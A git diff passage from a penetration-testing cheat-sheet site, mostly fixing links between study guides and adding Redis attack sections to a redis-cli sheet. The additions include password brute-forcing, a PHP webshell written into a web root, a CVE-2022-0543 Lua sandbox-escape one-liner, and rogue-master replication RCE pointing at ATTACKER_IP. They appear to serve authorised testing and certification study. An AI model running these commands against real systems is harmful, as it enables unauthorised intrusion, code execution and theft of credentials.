does. 3. **Upload = a live backdoor.** WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→`.asp`, C#→`.aspx`, JSP→WAR). -4. **Apps carry other systems' creds.** Config files, connection strings, and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services) and lateral movement — test every recovered credential for reuse. +4. **Apps carry other systems' creds.** Config files, connection strings, and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services-guide) and lateral movement — test every recovered credential for reuse. 5. **Scanners and eyes are complementary.** WPScan missed plugins that `curl | grep` caught; run both. 6. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest. @@ -1217,4 +1217,4 @@ Logos are re-hosted from Wikimedia Commons for identification only and remain th --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation) +[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation) diff --git a/src/content/sheets/pentest-workflow/attacking-common-services-guide.md b/src/content/sheets/pentest-workflow/attacking-common-services-guide.md @@ -11,12 +11,12 @@ updated: "2026-09-16" source: "vault:HackTheBox/Academy/CPTS Path/11-Attacking-Common-Services" --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-services) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Applications guide →](/sheets/pentest-workflow/attacking-common-applications-guide) +[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Applications guide →](/sheets/pentest-workflow/attacking-common-applications-guide) # Attacking Common Services — Full Guide `fas:ClipboardList` > [!dashboard] What this is -> The long-form companion to the [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services). The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual). +> The long-form companion to the [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide). The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual). Common services are the plumbing every network runs on: a file share, a database, a mail server, a remote-desktop endpoint, a DNS resolver. They are rarely glamorous and almost never the thing a defender hardens first, which is exactly why they land footholds. A company patches its browsers and hardens its domain controllers, then leaves an FTP root that accepts `anonymous`, an MSSQL instance still running `xp_cmdshell` as a service account, or an SMB server that answers a null session and hands over its share list for free. @@ -676,4 +676,4 @@ Distilled from the HackTheBox Academy **Attacking Common Services** module (CPTS 10. [Impacket · Fortra/impacket](https://github.com/fortra/impacket) > [!navigation] Keep going -> **Condensed card:** [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services) · **Field manual:** [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual) · **Applications:** [Attacking Common Applications guide](/sheets/pentest-workflow/attacking-common-applications-guide) · **Credentials:** [Password Attacks & Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Dashboard:** [CPTS Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) +> **Condensed card:** [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide) · **Field manual:** [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual) · **Applications:** [Attacking Common Applications guide](/sheets/pentest-workflow/attacking-common-applications-guide) · **Credentials:** [Password Attacks & Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Dashboard:** [CPTS Workflow](/sheets/pentest-workflow/attack-flow-dashboard) diff --git a/src/content/sheets/pentest-workflow/network-service-attack-manual.md b/src/content/sheets/pentest-workflow/network-service-attack-manual.md @@ -11,12 +11,12 @@ updated: "2026-09-15" source: "vault:HackTheBox/Academy/CPTS Path/11-Attacking-Common-Services" --- -[Condensed service card](/sheets/pentest-workflow/attacking-common-services) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Service-enumeration stage](/sheets/pentest-workflow/service-enumeration) +[Condensed service card](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Service-enumeration stage](/sheets/pentest-workflow/service-enumeration) # Network Service Attack Manual `fas:ClipboardList` > [!dashboard] Field-manual scope -> This is the long-form companion to the [condensed service card](/sheets/pentest-workflow/attacking-common-services). It turns the source module into one operator workflow: establish normal access, classify the service, test the cheapest misconfigurations first, validate credentials carefully, and follow every item of loot into the next exposed service. +> This is the long-form companion to the [condensed service card](/sheets/pentest-workflow/attacking-common-services-guide). It turns the source module into one operator workflow: establish normal access, classify the service, test the cheapest misconfigurations first, validate credentials carefully, and follow every item of loot into the next exposed service. FTP, SMB, database engines, RDP, DNS, and mail rarely fail in isolation. An anonymous file share supplies a username. That username confirms a mailbox. A message exposes a database password. The database account can read a configuration file or start a process. The useful unit of work is therefore the chain, not the port. @@ -1132,4 +1132,4 @@ Write each finding around the complete path: 15. [NVD, CVE-2020-7247](https://nvd.nist.gov/vuln/detail/CVE-2020-7247) 16. [NVD, CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) -[Condensed service card](/sheets/pentest-workflow/attacking-common-services) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Next long-form guide: common applications](/sheets/pentest-workflow/attacking-common-applications-guide) +[Condensed service card](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Next long-form guide: common applications](/sheets/pentest-workflow/attacking-common-applications-guide) diff --git a/src/content/sheets/pentest-workflow/potato-attacks-guide.md b/src/content/sheets/pentest-workflow/potato-attacks-guide.md @@ -11,12 +11,12 @@ updated: "2026-09-17" source: "vault:PrivEsc/PrivEsc - Windows.md (Token Manipulation & Potato Attacks)" --- -[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [Alternate Data Streams guide →](/sheets/pentest-workflow/alternate-data-streams-guide) +[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [Alternate Data Streams guide →](/sheets/pentest-workflow/alternate-data-streams-guide) # Potato Attacks — SeImpersonate to SYSTEM `fas:ClipboardList` > [!dashboard] What this is -> The long-form companion to the potato line in the [Windows Privilege Escalation cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts#2--token-privilege-abuse). The cheat sheet gives you the one-liner mid-box; this guide explains *what each potato actually abuses*, walks every useful flag, and shows how to deliver them from an MSSQL shell / IIS web shell / WinRM. Once you land SYSTEM, pair it with the [Alternate Data Streams guide](/sheets/pentest-workflow/alternate-data-streams-guide) — staging the binary off a directory listing, stripping Mark-of-the-Web, and finding data (including flags) other users hid in a stream. +> The long-form companion to the potato line in the [Windows Privilege Escalation cheat sheet](/sheets/pentest-workflow/privilege-escalation). The cheat sheet gives you the one-liner mid-box; this guide explains *what each potato actually abuses*, walks every useful flag, and shows how to deliver them from an MSSQL shell / IIS web shell / WinRM. Once you land SYSTEM, pair it with the [Alternate Data Streams guide](/sheets/pentest-workflow/alternate-data-streams-guide) — staging the binary off a directory listing, stripping Mark-of-the-Web, and finding data (including flags) other users hid in a stream. Almost every service account on Windows — `IIS APPPOOL\*`, `NT SERVICE\MSSQLSERVER`, `LOCAL SERVICE`, `NETWORK SERVICE`, and most third-party service accounts — holds **`SeImpersonatePrivilege`**. That one privilege is the whole game. If you land a shell as one of these accounts (a web shell, `xp_cmdshell`, a cracked service credential), a potato turns it into `NT AUTHORITY\SYSTEM` in a single command. The potatoes differ only in *how they trick SYSTEM into authenticating to something you control* so you can steal its token. @@ -37,7 +37,7 @@ You are looking for either of these in the **Enabled** state: > [!warning]+ No privilege, no potato > `fas:TriangleExclamation` -> If `whoami /priv` shows neither privilege (or shows them **Disabled** with no way to enable them), the potato family is a dead end — go back to the [Windows PrivEsc cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts) for services, registry, credential hunting, and kernel paths. A privilege that is present but *Disabled* is fine: potatoes enable it themselves at runtime through the token they steal. +> If `whoami /priv` shows neither privilege (or shows them **Disabled** with no way to enable them), the potato family is a dead end — go back to the [Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) for services, registry, credential hunting, and kernel paths. A privilege that is present but *Disabled* is fine: potatoes enable it themselves at runtime through the token they steal. ### How a potato works (the shared skeleton) @@ -617,4 +617,4 @@ Staged a payload inside an ADS as part of this chain? The [Alternate Data Stream --- -[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [Alternate Data Streams guide →](/sheets/pentest-workflow/alternate-data-streams-guide) +[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [Alternate Data Streams guide →](/sheets/pentest-workflow/alternate-data-streams-guide) diff --git a/src/content/sheets/pentest-workflow/privilege-escalation.md b/src/content/sheets/pentest-workflow/privilege-escalation.md @@ -26,7 +26,7 @@ I've got a foothold (web shell, SSH, service account). Goal now: `root` / `NT AU > Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: `sudo -l` + `whoami /priv`. Nine times out of ten the quick-win beats the linpeas scroll. > [!abstract] Sibling deep-dives -> Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). +> Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). --- @@ -351,7 +351,7 @@ systemctl list-timers --all > > **Link-only companions:** [Watson](https://github.com/rasta-mouse/Watson) / [Sherlock](https://github.com/rasta-mouse/Sherlock) (legacy missing-patch suggesters) · [WES-NG](https://github.com/bitsadmin/wesng) and [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) — **offline diff**: run `systeminfo` on the target, feed the output to the suggester on your attack box (`wesng systeminfo.txt`), and it maps missing patches → known privesc CVEs without touching the target again. -**What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. +**What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. ```powershell # ── the fast manual checks (do these by hand immediately) ── @@ -967,7 +967,7 @@ tmux -S /shareds # drops me straight into root's l > [!tip] `disk` and `adm` never touch `/etc/sudoers` yet `disk` is effectively root (raw FS) and `adm` is a credential goldmine — always read `id` for *unfamiliar* groups, not just `sudo`. A root tmux/screen socket that's group-writable needs **zero exploit code** — attaching inherits root's running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist. ### 🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix) -The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. +The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. #### The token-privilege matrix (map the priv → the technique) diff --git a/src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md b/src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md @@ -1738,7 +1738,7 @@ trufflehog git file://./repo --only-verified ([gitleaks](https://github.com/gitleaks/gitleaks) · [trufflehog](https://github.com/trufflesecurity/trufflehog)) > [!tip] Why this comes first -> Source disclosure (`config.php~`, `.git` dump) hands you **credentials, the exact filter logic, and the framework version** — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in [01 - Attacking Common Services - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-services). +> Source disclosure (`config.php~`, `.git` dump) hands you **credentials, the exact filter logic, and the framework version** — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in [01 - Attacking Common Services - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-services-guide). ### 🏢 Attacking Common Applications (fingerprint → known exploit) diff --git a/src/content/sheets/tools/redis-cli.md b/src/content/sheets/tools/redis-cli.md @@ -2,10 +2,10 @@ title: "redis-cli" description: "redis-cli connection syntax, the interactive REPL and non-interactive flags, plus using it as the pentest tool of choice for unauthenticated Redis: enumeration, CONFIG-based SSH key/cron writes, and module-load RCE." category: tools -tags: [tools, redis, enumeration, exploitation] -tools: [redis-cli] +tags: [tools, redis, enumeration, exploitation, acl, rce, ssrf] +tools: [redis-cli, nmap, gopherus, redis-rogue-server] difficulty: intermediate -updated: "2026-09-17" +updated: "2026-09-25" --- # redis-cli @@ -72,7 +72,7 @@ Once connected you land in the interactive prompt: `10.10.10.100:6379>`. Any com | `--bigkeys` | Sample the keyspace and report the largest key per data type | | `--stat` | Continuously print `INFO`-derived stats (like `top` for Redis) | | `--latency` | Measure round-trip latency to the server | -| `--rdb <file>` | Download the server's RDB snapshot over the wire (Redis 6+, no filesystem access needed) | +| `--rdb <file>` | Download the server's RDB snapshot over the wire (via `SYNC`; works against old servers too, no filesystem access needed) | | `--pipe` | Pipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert) | | `--cluster <cmd>` | Redis Cluster admin subcommands (`check`, `info`, `reshard`, …) | @@ -116,6 +116,50 @@ redis-cli -h $IP --bigkeys # find the biggest keys — often confi > [!tip] Credential and secret hunting > Redis is frequently used as a **session store, cache, or job queue**. `KEYS '*'`/`--scan` followed by targeted `GET`/`HGETALL`/`LRANGE` on interesting-looking keys (`session:*`, `celery`, `laravel:*`, `*token*`, `*password*`) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything. +## AUTH, ACLs & Brute Forcing + +When `AUTH` is required, enumerate the ACL surface. Redis 6+ has named users; earlier builds only a single global `requirepass`. + +```bash +redis-cli -h $IP ACL WHOAMI # current user — "default" before any AUTH +redis-cli -h $IP ACL LIST # every user + rule string (keys, cmds, hashed pw) +redis-cli -h $IP ACL USERS # just the usernames +redis-cli -h $IP ACL GETUSER default # full permission breakdown for one user +redis-cli -h $IP ACL CAT # command categories (@admin, @dangerous, @scripting...) +redis-cli -h $IP CONFIG GET requirepass # leaks the plaintext default password once you can read config +``` + +`AUTH` has two forms — the legacy single-arg (user `default`) and the Redis 6+ two-arg for named ACL users: + +```bash +# In the REPL after connecting: +AUTH S3cr3tPass # legacy: authenticate as "default" +AUTH alice S3cr3tPass # Redis 6+: authenticate as ACL user "alice" + +# From the shell (password on cmdline — pair with --no-auth-warning): +redis-cli -h $IP --user alice -a 'S3cr3tPass' --no-auth-warning ACL WHOAMI +``` + +Brute forcing `AUTH`: + +```bash +nmap -p6379 --script redis-brute $IP # NSE, targets the default user + +# Metasploit +msfconsole -q -x "use auxiliary/scanner/redis/redis_login; set RHOSTS $IP; set PASS_FILE /usr/share/wordlists/rockyou.txt; run; exit" + +# Manual loop (default user) +while read -r p; do + redis-cli -h $IP -a "$p" --no-auth-warning PING 2>/dev/null | grep -q PONG && { echo "[+] valid: $p"; break; } +done < /usr/share/wordlists/rockyou.txt +``` + +> [!tip] Cracking ACL password hashes +> `ACL LIST` / `ACL GETUSER <user>` print each user's password as a **SHA-256 hash** (`#<64-hex>`). Pull them and crack offline with hashcat mode **1400** (raw SHA-256). `CONFIG GET requirepass` returns the *plaintext* `default` password outright once you can read config — always grab it for reuse/spray. + +> [!warning] Redis version gates the ACL system +> `ACL *` commands only exist on **Redis ≥ 6**. On older servers they return `(error) ERR unknown command 'ACL'` — which itself fingerprints a pre-6 build that only supports a single global `requirepass`. + ## Exploitation — SSH Key / authorized_keys Write Classic technique when Redis runs as a user with a writable home directory (often the `redis` service account, sometimes `root` on a badly-configured box). @@ -162,6 +206,22 @@ redis-cli -h $IP SAVE Catch it with `pwncat-cs -lp 4444` / `rustcat listen -p 4444` / `nc -lvnp 4444`, wait up to 60s for cron to fire. +## Exploitation — Webshell into a Web Root + +When Redis and a web server share a host, redirect the RDB dump into the web root instead of `~/.ssh`/cron — same `CONFIG SET dir` + `dbfilename` + `SAVE` primitive. + +```bash +redis-cli -h $IP CONFIG SET dir /var/www/html # or /usr/share/nginx/html, C:\xampp\htdocs, C:\inetpub\wwwroot +redis-cli -h $IP CONFIG SET dbfilename shell.php +redis-cli -h $IP SET webshell '<?php system($_GET["cmd"]); ?>' +redis-cli -h $IP SAVE + +curl "http://$IP/shell.php?cmd=id" # trigger through the web server +``` + +> [!tip] Why the binary RDB still runs +> `SAVE` wraps your value in RDB header/footer bytes, but PHP ignores everything outside the `<?php ... ?>` tags and executes only your block — so a dumped RDB is a valid webshell. You must know (or leak via LFI, `CONFIG GET dir`, or a server error) the real web-root path first; a wrong `dir` writes nothing reachable. Same idea works for a `.jsp`/`.aspx` payload against the matching stack. + ## Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled) If `CONFIG GET dir`/write access works but there's no cron or SSH path, and the server allows `MODULE LOAD` (disabled by default on hardened/managed Redis but common on self-hosted boxes): @@ -182,7 +242,23 @@ redis-cli -h $IP MODULE LOAD /tmp/exp.so redis-cli -h $IP system.exec "id" # command exposed by the loaded module ``` -Fully automated versions of both the SSH-key and module-RCE paths: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) and the Metasploit `exploit/linux/redis/redis_replication_cmd_exec` / `redis_file_upload` modules. +Fully automated versions of both the SSH-key and module-RCE paths: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) and the Metasploit `exploit/linux/redis/redis_replication_cmd_exec` (module RCE) / `auxiliary/scanner/redis/file_upload` (RDB file write) modules. + +## Exploitation — Lua Sandbox / EVAL RCE (CVE-2022-0543) + +`EVAL` runs server-side Lua. Upstream Redis sandboxes it, but Debian/Ubuntu's packaging (**CVE-2022-0543**) left the Lua `package`/`os`/`io` libs reachable — a full RCE with no `CONFIG`/`MODULE`/write access at all. + +```bash +# Baseline — does EVAL work, and what's the working dir? +redis-cli -h $IP EVAL "return 'lua-ok'" 0 +redis-cli -h $IP EVAL "return redis.call('CONFIG','GET','dir')" 0 + +# CVE-2022-0543 — Debian/Ubuntu Lua sandbox escape (numkeys = 0) +redis-cli -h $IP EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 +``` + +> [!warning] Distro- and version-specific +> CVE-2022-0543 affects only **Debian/Ubuntu-packaged** Redis (not upstream builds); fixed in the 2022 Debian security updates. The `liblua5.1.so.0` path varies by distro/arch — `x86_64-linux-gnu` is the Debian/Ubuntu amd64 path; confirm with `find / -name 'liblua5.1*' 2>/dev/null` if you already have a foothold. On patched/non-Debian targets EVAL stays sandboxed — fall back to the `CONFIG`/`MODULE`/replication paths. ## Replication-Based RCE (Master/Slave Abuse) @@ -196,6 +272,40 @@ python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lpo Preferred when `CONFIG SET dir` is locked down (protected-mode-style hardening) but `SLAVEOF`/`REPLICAOF` is still callable. +### Manual master/replica abuse (what the tools automate) + +```bash +# Recon: replication role + module surface first +redis-cli -h $IP ROLE # "master"/"slave" + linked replicas +redis-cli -h $IP INFO replication # role, connected_slaves, master_link_status +redis-cli -h $IP MODULE LIST # already-loaded modules (empty is normal) + +# 1. On ATTACKER: serve exp.so from a rogue master (redis-rogue-server / +# RedisModules-ExecuteCommand's module) on e.g. 21000 +# 2. Point the target's replication at your rogue master: +redis-cli -h $IP REPLICAOF ATTACKER_IP 21000 # SLAVEOF on Redis < 5 (still aliased on 5+) +redis-cli -h $IP MODULE LOAD ./exp.so # loads the module synced over the replica stream +redis-cli -h $IP system.exec "id" # RCE via the module's command +# 3. Detach + unload to clean up +redis-cli -h $IP REPLICAOF NO ONE +redis-cli -h $IP MODULE UNLOAD system # module registers as "system" — confirm via MODULE LIST +``` + +## RESP Protocol SSRF (gopher://) + +Redis's RESP protocol also accepts **inline commands** — plaintext, space-separated, CRLF-terminated, no handshake — so a web-app SSRF that can reach an internal `6379` can drive Redis via `gopher://` even when you can't point `redis-cli` at it directly. + +```bash +# Inline protocol proof over a raw socket (no redis-cli needed) +printf 'INFO\r\nQUIT\r\n' | nc $IP 6379 + +# Build the gopher:// payload (SSH-key/cron write, or Lua RCE) with Gopherus +gopherus --exploit redis # interactive: reverse shell / ssh key / php shell +``` + +> [!tip] Encoding & full workflow +> Gopher payloads usually need **double URL-encoding** (`%250d%250a` for CRLF) when the app decodes the parameter once before the SSRF fires. The complete SSRF payload table and blind-SSRF tips live in [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation). + ## Non-Interactive & Scripting Usage ```bash